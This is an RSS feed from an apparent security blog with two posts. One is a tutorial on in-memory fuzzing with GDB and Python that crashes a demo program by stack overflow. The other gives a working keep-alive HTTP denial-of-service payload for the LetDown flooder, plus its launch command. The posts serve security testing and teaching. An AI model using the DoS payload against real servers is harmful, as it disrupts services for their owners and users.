<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Security Adventures</title>
	<atom:link href="http://securityadventures.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://securityadventures.wordpress.com</link>
	<description>Tales and adventures in the field of computer security</description>
	<lastBuildDate>Sat, 21 Jan 2012 14:02:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='securityadventures.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Security Adventures</title>
		<link>http://securityadventures.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://securityadventures.wordpress.com/osd.xml" title="Security Adventures" />
	<atom:link rel='hub' href='http://securityadventures.wordpress.com/?pushpress=hub'/>
		<item>
		<title>In-memory-fuzzing in Linux (with GDB and Python)</title>
		<link>http://securityadventures.wordpress.com/2011/10/17/in-memory-fuzzing-in-linux-with-gdb-and-python/</link>
		<comments>http://securityadventures.wordpress.com/2011/10/17/in-memory-fuzzing-in-linux-with-gdb-and-python/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 13:27:52 +0000</pubDate>
		<dc:creator>crossbower</dc:creator>
				<category><![CDATA[Article/Research]]></category>
		<category><![CDATA[Attack]]></category>
		<category><![CDATA[Coding]]></category>
		<category><![CDATA[Defense]]></category>
		<category><![CDATA[fuzzing]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[gdb python utils]]></category>
		<category><![CDATA[in memory fuzzing]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://securityadventures.wordpress.com/?p=312</guid>
		<description><![CDATA[Probably, if you&#8217;re reading this article, you already know what fuzzing means. In short, fuzz testing is a technique for testing software and searching vulnerabilities: targeted software is feeded with malformed input, hoping for something abnormal to occur. In recent years many excellent frameworks have been published to help the tester in the development of [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=312&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Probably, if you&#8217;re reading this article, you already know what <strong>fuzzing</strong> means. In short, fuzz testing is a technique for <strong>testing software</strong> and <strong>searching vulnerabilities</strong>: targeted software is feeded with malformed input, hoping for something abnormal to occur.</p>
<p>In recent years many excellent frameworks have been published to help the tester in the development of an effective fuzzer (I like <a href="http://www.immunitysec.com/resources-freesoftware.shtml">spike</a>, <a href="http://peachfuzzer.com/">peach</a> and <a href="http://code.google.com/p/sulley/">sulley</a> very much).  But, as always, there are some experimental techniques, which in future will allow the evolution of the field: in this case I&#8217;m talking about <strong>in-memory fuzzing</strong>.</p>
<p><strong>In-Memory Fuzzing</strong> is an advanced, and therefore even more complex, technique (but we&#8217;ll see how to manage this complexity), which allows the tester to <em>fuzz individual subroutines of the targeted program</em>. This focused type of test has many advantages:</p>
<ul>
<li>The fuzzing process in <strong>faster</strong> and allows a <em>complete code coverage</em>, since it&#8217;s possible to select the piece of code to test.</li>
<li>Targeting a specific program subroutine, allows to<em> bypass any obfuscation or decoding of input data</em>, making the <strong>development</strong> of fuzzing tools <strong>simpler</strong>, from this point of view.</li>
</ul>
<h2>But how does an in-memory fuzzer work?</h2>
<p>If we consider an application as <em>chain of function</em>, that receives an input, parses and processes it, and produces an output, we can describe in-memory fuzzing as a process that <em>tests only a few specific rings</em> of the chain (those dealing with parsing and processing).</p>
<p>Having clarified this point, is now easy to illustrate the main techniques used today:</p>
<h4>Mutation Loop Insertion</h4>
<p><strong>Mutation Loop Insertion</strong> (<em>MLI</em>) modifies the target program inserting an <strong>infinite loop on the parsing subroutine</strong>, isolating it from from the rest of the function chain.</p>
<p><a href="http://securityadventures.files.wordpress.com/2011/10/in-mem-loop.png"><img class="aligncenter size-full wp-image-317" title="in-mem-loop" src="http://securityadventures.files.wordpress.com/2011/10/in-mem-loop.png?w=630" alt=""   /></a></p>
<p>This loop can test the targeted function with a large quantity of inputs in a very short time, eliminating superfluous program&#8217;s code, and requires no interaction from the outside. This makes this method <strong>the fastest</strong>.</p>
<p>However it has also negative aspects, being the method more <strong>difficult to implement</strong>&#8230; It requires at least some knowledge of <em>reverse engineering</em>, and the ability to write <em>code safely injectable</em> inside an active process.</p>
<h4>Snapshot Restoration Mutation</h4>
<p><strong>Snapshot Restoration Mutation</strong> (<em>SRM</em>) handle the program function chain is a different way: no code is injected, but, through the use of <strong>breakpoints</strong>, the fuzzer takes and restores <strong>snapshots of the process</strong> at the beginning and end of the tested function.</p>
<p><a href="http://securityadventures.files.wordpress.com/2011/10/in-mem-snap.png"><img class="aligncenter size-full wp-image-318" title="in-mem-snap" src="http://securityadventures.files.wordpress.com/2011/10/in-mem-snap.png?w=630" alt=""   /></a></p>
<p>The effect is similar to that of an infinite loop, as in the previous case, but managed and monitored by an external process.</p>
<p>This method has several <strong>advantages</strong> including the ability to <em>restore the program at a clean state</em>, and, of course, it <em>does not require</em> the writing of <em>assembly code</em>. This at a <strong>cost</strong> of a certain <em>performance degradation</em>.</p>
<h2>Implementation</h2>
<p>Ok, the practical part, let&#8217;s start with a question&#8230;  Did you know that, since version 7.0, <strong>GDB can be scripted in python</strong>?</p>
<p>Yeah, I agree, it&#8217;s a wonderful thing:  although at the time the development is not yet complete, with some adjustments, it is possible to <strong>exploit all the capabilities</strong> of the (u)nix debugger <em>par excellence</em>, within our python scripts.</p>
<p>Moreover, since version 7.0, GDB is able to <strong>take and restore snapshots</strong> of the debugged process, with the introduction of the <a href="http://sourceware.org/gdb/current/onlinedocs/gdb/Checkpoint_002fRestart.html#Checkpoint_002fRestart">checkpoint</a> command.</p>
<p>Having found a so <em>confortable &#8220;framework&#8221;</em> (that, IMHO, has good probabilities to overcome similar solutions present in the Windows environment, also excellent as <a href="http://pedram.redhive.com/PyDbg/docs/">PyDbg</a>), I could not resist the temptation to write an implementation of in-memory fuzzer for (u)nix environments.</p>
<p>The result was the creation of a <strong><em>small library to support GDB python scripting</em></strong>, with the <em>fuzzer inside the examples directory</em>. Let&#8217;s look at its practical use&#8230;</p>
<h4> In-memory fuzzing (in practice)</h4>
<p>The fuzzer is composed of two scripts: the first, <strong>in-memory-break.py</strong>, is used to find functions to test.</p>
<p>The script inserts<em> breakpoints at the beginning of every function</em> of the program and <strong>prints out their arguments</strong> in search of text strings. The <em>goal is to <strong>find the function that parses</strong></em> the input.</p>
<p>Let&#8217;s try to run the script against the vulnerable program contained in the same directory:</p>
<pre><strong>cross@yotsubox$</strong> ./in-memory-break.py getdomain test@email.com
Breakpoint 1 at 0x4004b0
Breakpoint 2 at 0x4004d8
Breakpoint 3 at 0x4004e8
Breakpoint 4 at 0x4004f8
Breakpoint 5 at 0x400508
Breakpoint 6 at 0x400518
Breakpoint 7 at 0x400528
Breakpoint 8 at 0x40056c
Breakpoint 9 at 0x400590
Breakpoint 10 at 0x400600
Breakpoint 11 at 0x40062c
Breakpoint 12 at 0x40064d
Breakpoint 13 at 0x4007f0

Function &lt;__libc_start_main@plt&gt; at *0x4004f8:
	argument0 = 4196079 "UH"
	argument1 = 2
	argument2 = 140737488348088 "L"
	argument3 = 4196192 "H"
	argument4 = 4196176
	argument5 = 140737351962048 "UH"

Function &lt;_init&gt; at *0x4004b0:
	argument0 = 2
	argument1 = 140737488348088 "L"
	argument2 = 140737488348112
	argument3 = 0
	argument4 = 140737351885568
	argument5 = 140737351962048 "UH"

Function &lt;call_gmon_start&gt; at *0x40056c:
	argument0 = 2
	argument1 = 140737488348088 "L"
	argument2 = 140737488348112
	argument3 = 0
	argument4 = 140737351885568
	argument5 = 140737351962048 "UH"

Function &lt;frame_dummy&gt; at *0x400600:
	argument0 = 2
	argument1 = 140737488348088 "L"
	argument2 = 140737488348112
	argument3 = 0
	argument4 = 140737351885568
	argument5 = 140737351962048 "UH"

Function &lt;__do_global_ctors_aux&gt; at *0x4007f0:
	argument0 = 2
	argument1 = 140737488348088 "L"
	argument2 = 140737488348112
	argument3 = 0
	argument4 = 140737351885568
	argument5 = 140737351962048 "UH"

Function &lt;strdup@plt&gt; at *0x400508:
	argument0 = 140737488348816 "test@email.com"
	argument1 = 140737488348088 "L"
	argument2 = 140737488348112
	argument3 = 0
	argument4 = 140737351885568
	argument5 = 140737351962048 "UH"

Function <strong>&lt;parse&gt;</strong> at <strong>*0x40064d</strong>:
	<strong>argument0 = 6295568 "test@email.com"</strong>
	argument1 = 140737488348831 "SSH_AGENT_PID=2952"
	argument2 = 0
	argument3 = 30803244232763745
	argument4 = 140737351888448
	argument5 = 140737348377640

Function &lt;strtok@plt&gt; at *0x400528:
	argument0 = 6295568 "test@email.com"
	argument1 = 4196426 "@"
	argument2 = 0
	argument3 = 30803244232763745
	argument4 = 140737351888448
	argument5 = 140737348377640

Function &lt;strtok@plt&gt; at *0x400528:
	argument0 = 0
	argument1 = 4196426 "@"
	argument2 = 6295573 "email.com"
	argument3 = 6295573 "email.com"
	argument4 = 6295568 "test"
	argument5 = 140737348377640

Function &lt;strcpy@plt&gt; at *0x400518:
	argument0 = 140737488346768
	argument1 = 6295573 "email.com"
	argument2 = 6295582
	argument3 = 6295583
	argument4 = 0
	argument5 = 140737348377640

Function &lt;print_domain&gt; at *0x40062c:
	argument0 = 140737488346768 "email.com"
	argument1 = 6295584
	argument2 = 140737488346777
	argument3 = 0
	argument4 = -72340172838076673
	argument5 = -72219847665292440

Function &lt;printf@plt&gt; at *0x4004d8:
	argument0 = 4196412 "Domain is %s\n"
	argument1 = 140737488346768 "email.com"
	argument2 = 140737488346777
	argument3 = 0
	argument4 = -72340172838076673
	argument5 = -72219847665292440

Domain is email.com
Function &lt;printf@plt&gt; at *0x4004d8:
	argument0 = 4196463 "Domain is valid? %s\n"
	argument1 = 4196428 "YES"
	argument2 = 140737351888368
	argument3 = 4196425
	argument4 = 1
	argument5 = 4196425

Domain is valid? YES
Function &lt;__do_global_dtors_aux&gt; at *0x400590:
	argument0 = 140737488347632 "("
	argument1 = 140737488347632 "("
	argument2 = 140737354127792
	argument3 = 4
	argument4 = 0
	argument5 = 4

[Inferior 1 (process 18083) exited normally]</pre>
<p>I&#8217;ve highlighted the parsing function. This case was <strong>simple</strong>, because <em>the <strong>binary was not stripped</strong></em>, making possible to print function names. But even in the case of stripped binaries, it&#8217;s possible to find the function we are interested in, <em>analyzing and trying to <strong>decode the arguments</strong></em>.</p>
<p>The vulnerable program simply try to extract the domain from an email address: an <em>overly long domain triggers a buffer overflow</em> on the stack.</p>
<p>Now that we know the function to test and the input type, let&#8217;s try to see if our in-memory fuzzer is able to detect the bug:</p>
<pre><strong>cross@yotsubox$</strong> ./in-memory-fuzz.py parse getdomain test@email.com
Breakpoint 1 at 0x400651

Breakpoint 1, 0x0000000000400651 in parse ()
fuzz loop: 1
string len: 15
0x601030:	 "test@email.com"
Domain is email.com
0x000000000040072f in main ()
Switching to process 4997
#0  0x0000000000400651 in parse ()
fuzz loop: 2
string len: 16
0x601030:	 "test@email.comA"
Domain is email.comA
0x000000000040072f in main ()
Switching to process 4998
#0  0x0000000000400651 in parse ()
fuzz loop: 3
string len: 17
0x601030:	 "test@email.comAA"
Domain is email.comAA
0x000000000040072f in main ()
Switching to process 4999
...
...
...
#0  0x0000000000400651 in parse ()
fuzz loop: 1031
string len: 1045
0x601030:	 "test@email.com", 'A' &lt;repeats 186 times&gt;...
Domain is email.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x000000000040072f in main ()
Switching to process 7202
<strong>#0 0x0000000000400651 in parse ()</strong>
<strong>fuzz loop: 1032</strong>
<strong>string len: 1046</strong>
0x601030:	 "test@email.com", 'A' &lt;repeats 186 times&gt;...
Domain is email.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Domain is valid? YES

<em><strong>Program received signal SIGSEGV, Segmentation fault.</strong></em>
0x0000000000400849 in ?? ()
Switching to process 7203
#0  0x0000000000400651 in parse ()
fuzz loop: 1033
string len: 1047
0x601030:	 "test@email.com", 'A' &lt;repeats 186 times&gt;...
[Switching to process 7204]

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.

#
# The program has crashed! Stack exhaustion or bug???
# Now is your turn, have fun! <img src='http://s2.wp.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />
#

A debugging session is active.

	Inferior 1 [process 7204] will be killed.

Quit anyway? (y or n) y</pre>
<p>As you can see, <strong><em>fuzzing loop number 1032 triggered the bug</em></strong>: the input strings are simply generated appending &#8216;A&#8217; characters to a valid email address, and when the domain part reaches a critical length, a buffer on the stack is overflowed, overwriting the return address (and stack canaries).</p>
<p>Although this is script is very simple, <strong>it&#8217;s a basis to build on</strong> to create more complex fuzzer. In addition it illustrates several GDB features very useful in this field:</p>
<ul>
<li><strong>Allocation of memory</strong> on the target process</li>
<li><strong>Snapshots/checkpoints</strong> and their <strong>restoration</strong></li>
<li><strong>Breakpoint</strong> management</li>
<li><strong>Argument analysis</strong></li>
</ul>
<p>and so on&#8230;</p>
<p>If you are interested in GDB python scripting or in-memory fuzzing on (u)nix system, you can visit the project website:</p>
<p><strong>GDB Python Utils</strong>:  <a href="https://github.com/crossbowerbt/GDB-Python-Utils/">https://github.com/crossbowerbt/GDB-Python-Utils/</a></p>
<p>You will find the scripts illustrated in this article under the <em>examples</em> directory of the project.</p>
<p>I&#8217;m also trying to maintain a good documentation for the support library, so you may give a look at the <em>&#8220;snippet&#8221; page of the wiki</em> (<a href="https://github.com/crossbowerbt/GDB-Python-Utils/wiki/Snippets/">https://github.com/crossbowerbt/GDB-Python-Utils/wiki/Snippets/</a>) to see the implemented features.</p>
<p><strong>PS:</strong> the fuzzer was specifically developed for <strong>64bit systems</strong>: if you want to use it against 32bit application you must adapt it (if you send me an email I can give you a few hints&#8230;)</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityadventures.wordpress.com/312/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityadventures.wordpress.com/312/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityadventures.wordpress.com/312/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityadventures.wordpress.com/312/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityadventures.wordpress.com/312/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityadventures.wordpress.com/312/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityadventures.wordpress.com/312/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityadventures.wordpress.com/312/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityadventures.wordpress.com/312/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityadventures.wordpress.com/312/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityadventures.wordpress.com/312/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityadventures.wordpress.com/312/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityadventures.wordpress.com/312/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityadventures.wordpress.com/312/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=312&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityadventures.wordpress.com/2011/10/17/in-memory-fuzzing-in-linux-with-gdb-and-python/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c013ef111c4e94f6d22525d5c70dc91f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">crossbower</media:title>
		</media:content>

		<media:content url="http://securityadventures.files.wordpress.com/2011/10/in-mem-loop.png" medium="image">
			<media:title type="html">in-mem-loop</media:title>
		</media:content>

		<media:content url="http://securityadventures.files.wordpress.com/2011/10/in-mem-snap.png" medium="image">
			<media:title type="html">in-mem-snap</media:title>
		</media:content>
	</item>
		<item>
		<title>LetDown and HTTP DoS attacks</title>
		<link>http://securityadventures.wordpress.com/2011/09/21/letdown-and-http-dos-attacks/</link>
		<comments>http://securityadventures.wordpress.com/2011/09/21/letdown-and-http-dos-attacks/#comments</comments>
		<pubDate>Wed, 21 Sep 2011 10:19:00 +0000</pubDate>
		<dc:creator>crossbower</dc:creator>
				<category><![CDATA[Attack]]></category>
		<category><![CDATA[Coding]]></category>
		<category><![CDATA[Various]]></category>
		<category><![CDATA[complemento]]></category>
		<category><![CDATA[denial of service]]></category>
		<category><![CDATA[http dos]]></category>
		<category><![CDATA[keep-alive]]></category>
		<category><![CDATA[keep-dead]]></category>
		<category><![CDATA[letdown]]></category>
		<category><![CDATA[slowloris]]></category>

		<guid isPermaLink="false">http://securityadventures.wordpress.com/?p=284</guid>
		<description><![CDATA[These days much attention has turned to certain denial of service attacks that plague HTTP, also due to inherent vulnerabilities of the protocol itself. I&#8217;ve read some nice pages and tools on various blogs/sites (e.g. Keep-Alive DoS script and Slowloris have caught my attention). Usually all the tools work well, but they have some drawbacks: [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=284&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>These days much attention has turned to certain<strong> denial of service attacks</strong> that plague <strong>HTTP</strong>, also due to inherent vulnerabilities of the protocol itself.</p>
<p>I&#8217;ve read some nice pages and tools on various blogs/sites (e.g. <a href="http://www.esrun.co.uk/blog/keep-alive-dos-script/">Keep-Alive</a> DoS script and <a href="http://ha.ckers.org/slowloris/">Slowloris</a> have caught my attention).</p>
<p>Usually all the tools work well, but they have some drawbacks: each one <em>reimplements the wheel from scratch</em> and <em>uses standard operating system sockets</em> to send and receive data. Therefore they are slower and consume more memory than a full raw-socket approach.</p>
<p>In most cases, this is not a problem: just think about the tool <a href="http://ha.ckers.org/slowloris/">Slowloris</a> which has been specifically designed for low bandwidths. But there are also cases where we want to maximize the resources we have&#8230;</p>
<p>The problem with the use of raw sockets and packet sniffing is that they are difficult to implement quickly and easily.</p>
<p>For these reasons, some time ago, I developed LetDown (<a href="http://complemento.sourceforge.net/">http://complemento.sourceforge.net/</a>). LetDown is a tcp flooder that uses an experimental <strong>userland TCP/IP stack</strong>, supports multistage payloads for complex protocols, and other interesting things (fragmentation of packets, variable tcp window, &#8230;) we won&#8217;t analyze right now.</p>
<p>The advantage of using LetDown is that we can <strong>concentrate on the data transmitted</strong>, leaving out the algorithms and the programming part.</p>
<h3>Keep-alive DoS via LetDown</h3>
<p>Keep-alive Denial of Service concepts are:</p>
<ul>
<li>The use of <strong>Keep-Alive</strong> HTTP header to maintain the connection open.</li>
<li>The use of <strong>HEAD</strong> requests to reduce network overhead.</li>
<li>Target a <strong>resource intensive page</strong> (a page that require interaction with databases, files, etc&#8230;).</li>
</ul>
<p>You can read more here: <a href="http://www.esrun.co.uk/blog/keep-alive-dos-script/">http://www.esrun.co.uk/blog/keep-alive-dos-script/</a>. The author provides a php script that demonstrates the attack.</p>
<p>We can rewrite that script as a <strong>multistage payload</strong>, i.e. a python script interpreted by the embedded python engine of letdown:</p>
<pre style="background:#ffffff none repeat scroll 0 0;color:#000000;"><span style="color:#696969;">#</span>
<span style="color:#696969;"># Letdown reimplementation of the attack</span>:
<span style="color:#696969;"># Keep-Dead (Version 1.14)</span>
<span style="color:#696969;"># http://www.esrun.co.uk/blog/keep-alive-dos-script/</span>
<span style="color:#696969;">#</span>
<span style="color:#696969;"># More info:</span>
<span style="color:#696969;"># http://securityadventures.wordpress.com/</span>
<span style="color:#696969;"># </span>

<span style="color:#800000;font-weight:bold;">import</span> random

<span style="color:#696969;"># Callback function</span>
<span style="color:#800000;font-weight:bold;">def</span> callback<span style="color:#808030;">(</span>count<span style="color:#808030;">,</span> h_flags<span style="color:#808030;">,</span> h_payload<span style="color:#808030;">)</span><span style="color:#808030;">:</span>

    <span style="color:#800000;font-weight:bold;">global</span> flags
    <span style="color:#800000;font-weight:bold;">global</span> window
    <span style="color:#800000;font-weight:bold;">global</span> action
    <span style="color:#800000;font-weight:bold;">global</span> payload

    <span style="color:#696969;">#</span>
    <span style="color:#696969;"># Attack options</span>
    <span style="color:#696969;">#</span>

    <span style="color:#696969;"># target host</span>
    target_host <span style="color:#808030;">=</span> <span style="color:#0000e6;">"www.domain.net"</span>

    <span style="color:#696969;"># target query</span>
    target_query <span style="color:#808030;">=</span> <span style="color:#0000e6;">"/wordpress/?s=%rand%"</span>

    <span style="color:#696969;"># max requests per connection</span>
    max_requests_per_connection <span style="color:#808030;">=</span> <span style="color:#008c00;">100</span>

    <span style="color:#696969;"># user agent</span>
    user_agent <span style="color:#808030;">=</span> <span style="color:#0000e6;">"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7"</span>

    <span style="color:#696969;">#</span>
    <span style="color:#696969;"># Send HTTP requests</span>
    <span style="color:#696969;">#</span>

    <span style="color:#800000;font-weight:bold;">if</span> count <span style="color:#808030;">&lt;</span> max_requests_per_connection<span style="color:#808030;">:</span>

        <span style="color:#696969;"># packet settings</span>
        flags   <span style="color:#808030;">=</span> ack
        window  <span style="color:#808030;">=</span> <span style="color:#008c00;">1024</span>
        action  <span style="color:#808030;">=</span> act_wait

        <span style="color:#696969;"># HTTP request</span>
        payload  <span style="color:#808030;">=</span> <span style="color:#0000e6;">"HEAD "</span> <span style="color:#808030;">+</span> target_query<span style="color:#808030;">.</span>replace<span style="color:#808030;">(</span><span style="color:#0000e6;">'%rand%'</span><span style="color:#808030;">,</span><span style="color:#e34adc;">str</span><span style="color:#808030;">(</span>random<span style="color:#808030;">.</span>getrandbits<span style="color:#808030;">(</span><span style="color:#008c00;">20</span><span style="color:#808030;">)</span><span style="color:#808030;">)</span><span style="color:#808030;">)</span> <span style="color:#808030;">+</span> <span style="color:#0000e6;">" HTTP/1.1\r\n"</span>
        payload <span style="color:#808030;">+</span><span style="color:#808030;">=</span> <span style="color:#0000e6;">"Host: "</span> <span style="color:#808030;">+</span> target_host <span style="color:#808030;">+</span> <span style="color:#0000e6;">"\r\n"</span>
        payload <span style="color:#808030;">+</span><span style="color:#808030;">=</span> <span style="color:#0000e6;">"User-Agent: "</span> <span style="color:#808030;">+</span> user_agent <span style="color:#808030;">+</span> <span style="color:#0000e6;">"\r\n"</span>
        payload <span style="color:#808030;">+</span><span style="color:#808030;">=</span> <span style="color:#0000e6;">"Connection: Keep-Alive\r\n\r\n"</span>

    <span style="color:#696969;">#</span>
    <span style="color:#696969;"># Close the connection</span>
    <span style="color:#696969;">#</span>

    <span style="color:#800000;font-weight:bold;">else</span><span style="color:#808030;">:</span>
        flags   <span style="color:#808030;">=</span> rst
        action  <span style="color:#808030;">=</span> act_wait</pre>
<p>As you can see we did not need to program anything to manage the connection. These tasks are entirely managed by LetDown, via raw sockets and libpcap.</p>
<p>The only options specified are the <strong>contents</strong> of the TCP packet (the payload), and the <strong>action</strong> to perform (act_wait means: send the packet and wait for an acknowledgement packet from the server).</p>
<p>We can now lauch the attack with this command:</p>
<pre>root@box# letdown -d DESTINATION_IP -D GATEWAY_MAC -p 80 -M payloads/http-keep-alive.py -f iptables -v 2</pre>
<p>Of course, these attacks are allowed only if directed against <em>machines on which we have permission to conduct tests</em>. Before using it you should also give a look at the <strong>guide</strong> (<a href="http://complemento.sourceforge.net/howto/index.html">http://complemento.sourceforge.net/howto/index.html</a>) in order to understand low-level operations of the tool, and be able to identify the causes of the eventual errors.</p>
<p><strong>PS:</strong> The script can probably be optimized against the specific target <em>introducing appropriate delays</em> (in the base form it&#8217;s only a Proof-of-Concept).</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityadventures.wordpress.com/284/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityadventures.wordpress.com/284/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityadventures.wordpress.com/284/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityadventures.wordpress.com/284/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityadventures.wordpress.com/284/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityadventures.wordpress.com/284/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityadventures.wordpress.com/284/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityadventures.wordpress.com/284/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityadventures.wordpress.com/284/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityadventures.wordpress.com/284/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityadventures.wordpress.com/284/"><img alt="" 